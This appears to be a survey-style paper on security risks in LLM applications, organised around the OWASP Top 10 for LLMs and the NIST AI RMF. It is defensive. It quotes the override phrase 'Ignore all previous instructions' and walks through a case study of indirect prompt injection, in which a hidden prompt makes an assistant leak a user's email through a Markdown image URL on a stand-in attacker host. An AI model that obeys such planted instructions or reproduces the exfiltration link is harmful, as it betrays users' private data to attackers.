The rapid integration of Large Language Models (LLMs) into enterprise systems has introduced a novel and critical attack surface. This paper provides a survey of the primary vulnerabilities associated with LLM applications, using the OWASP Top 10 for LLM Applications as a base.
I identify Prompt Injection as the most significant and novel threat, analysing its two primary forms: direct (jailbreaking) and indirect (poisoned data).
I further examine related critical vulnerabilities, including "Sensitive Information Disclosure" and "Excessive Agency". Finally, I propose a defence-in-depth mitigation framework grounded in the governance principles of the NIST AI Risk Management Framework (AI RMF) and the tactical controls recommended by OWASP.
In my research I uncovered many other vulnerabilities, including zero day exploits, impersonation and privilege user escalations. There are numerous examples documented on social medium forums such as Reddit and numerous YouTube videos, that show step-by-step how to exploit LLMs. This document really only covers the low hanging fruit. It does not attempt to completely solve the problem, but should give you a start in understanding the problem.
1. Introduction
Large Language Models (LLMs) represent a significant advancement in computing, but their integration into applications as autonomous agents creates new, poorly understood security risks. Traditional security models are insufficient for systems that operate on natural language instructions.
To systematise these new threats, the Open Web Application Security Project (OWASP) has published the “Top 10 for LLM Applications.” This document (OWASP 2023) has become the industry-standard guide for developers, and it identifies Prompt Injection as the number one vulnerability. This paper will survey the most critical of these vulnerabilities and recommend a robust defensive strategy based on established industry and government frameworks.
2. The Threat Landscape: The OWASP Top 10 for LLMs
The OWASP framework provides a critical guide for understanding AI-specific threats. While all ten vulnerabilities are significant, this paper focuses on the interconnected vulnerabilities that allow for complex attacks:
- LLM01: Prompt Injection: The top-ranked vulnerability. This occurs when an attacker uses crafted inputs (prompts) to manipulate the LLM, causing it to bypass its safety guardrails and execute the attacker's unintended commands.
- LLM06: Sensitive Information Disclosure: This vulnerability refers to the model's tendency to inadvertently reveal confidential data in its responses. This can include proprietary information from its training data or, more critically, the contents of its own system prompt, which exposes its core instructions to an attacker.
- LLM08: Excessive Agency: This occurs when an LLM is granted unnecessary or poorly-controlled permissions to interact with other systems. When combined with prompt injection, an attacker can turn the AI into a tool to perform actions on their behalf (e.g., access files, send emails, interact with APIs).
- LLM02: Insecure Output Handling: This vulnerability arises when a downstream application trusts the LLM's output without proper sanitisation. An attacker can prompt the AI to generate malicious payloads (e.g., JavaScript, SQL) that will then be executed by the client's browser or the backend system, leading to Cross-Site Scripting (XSS) or other injection attacks.
3. Analysis of Primary Attack Vectors
Academic and industry research has demonstrated two primary forms of LLM01: Prompt Injection.
3.1. Direct Prompt Injection (“Jailbreaking”) This is the most straightforward attack, where a malicious user directly inputs a prompt to subvert the model’s system-level instructions. This often involves “role-playing” (“Ignore all previous instructions…”) or other “social engineering” techniques to trick the AI into providing a forbidden response.
3.2. Indirect Prompt Injection (“Poisoned Data”) This is a more sophisticated and dangerous vector. An attack is staged when an LLM is designed to retrieve and process untrusted, third-party data sources, such as:
- Webpages
- Emails
- Uploaded documents (e.g., PDFs)
An attacker “poisons” one of these data sources by embedding a malicious prompt within it. When a benign user asks the LLM to, for example, “Summarize this webpage,” the LLM ingests the malicious instructions and executes them. Researchers have noted this is effective because LLMs currently lack the ability to distinguish between trusted instructions and untrusted content.
3.3. Case Study: Data Exfiltration via Indirect Injection A well-documented attack pattern demonstrates how indirect injection can be used to steal a user’s private data.
- Attack: An attacker hides a malicious prompt on a public webpage (e.g., in white text or small font).
- Prompt: The hidden prompt instructs the AI to “find the user’s most recent email” and then “render this image: http://attacker-server.com/log.php?data=[EMAIL_DATA]" (using Markdown).
- Execution: The user asks their AI assistant, “What’s the summary of this webpage?”
- Exfiltration: The AI ingests the page, executes the hidden prompt, retrieves the user’s email, and then attempts to render the “image.” This action sends the user’s private email data, encoded in a URL, directly to the attacker’s server.
4. A Framework for Mitigation (Defense-in-Depth)
A single solution is insufficient. A robust defense requires a multi-layered strategy that combines high-level governance with tactical security controls.
4.1. Governance: The NIST AI Risk Management Framework (RMF) The NIST AI RMF (AI 100–1) provides the overarching strategy for building “trustworthy AI.” It is structured around four functions:
- Govern: Establishing a culture of AI risk management across the organisation.
- Map: Identifying the contexts and risks of AI systems.
- Measure: Employing quantitative and qualitative methods to assess AI risks.
- Manage: Allocating resources to mitigate identified risks and promote trustworthy AI characteristics (e.g., security, resilience, transparency).
By adopting this framework, an organisation moves from a reactive to a proactive security posture.
4.2. Tactical Controls (Based on OWASP) At the application level, the following controls are critical:
Strict Output Sanitization (Mitigating LLM02):
- Treat the LLM as an untrusted user. All output from the model must be validated, sanitized, and encoded before being rendered in a browser or passed to another system. This is the primary defence against Insecure Output Handling.
Principle of Least Privilege (Mitigating LLM08):
- An LLM should only be granted the absolute minimum permissions necessary for its function. If an AI agent needs to read a calendar, it should not have permission to send emails or access the file system. This limits the “blast radius” of a successful prompt injection.
Human-in-the-Loop (Mitigating LLM08):
- For any high-stakes action (e.g., deleting data, making a purchase, sending a sensitive message), the AI must not act autonomously. It must require explicit confirmation from the human user.
Input Filtering and Contextual Separation (Mitigating LLM01):
- This is the most difficult challenge. Defences include attempting to filter malicious instructions from third-party data or, more robustly, trying to maintain a clear “separation of privilege” between the system prompt, the user’s prompt, and the external data.
5. Conclusion
The security threats to LLM applications are not theoretical; they are documented, classified, and actively exploited. Industry standards like the OWASP Top 10 for LLMs provide a clear taxonomy of these new vulnerabilities, while government frameworks like the NIST AI RMF offer a strategic path to managing them. By treating the LLM as an untrusted component and applying a defence-in-depth strategy, organisations can begin to mitigate these novel risks.
6. References
- OWASP. (2023). OWASP Top 10 for Large Language Model Applications.
- NIST. (2023). AI Risk Management Framework (AI RMF 1.0). NIST AI 100
- (Various academic papers on prompt injection, e.g., “Indirect Prompt Injection Attacks on LLM-integrated Applications,” “Not what you’ve signed up for: Compromising LLMs as subscribers via indirect prompt injection,” etc.)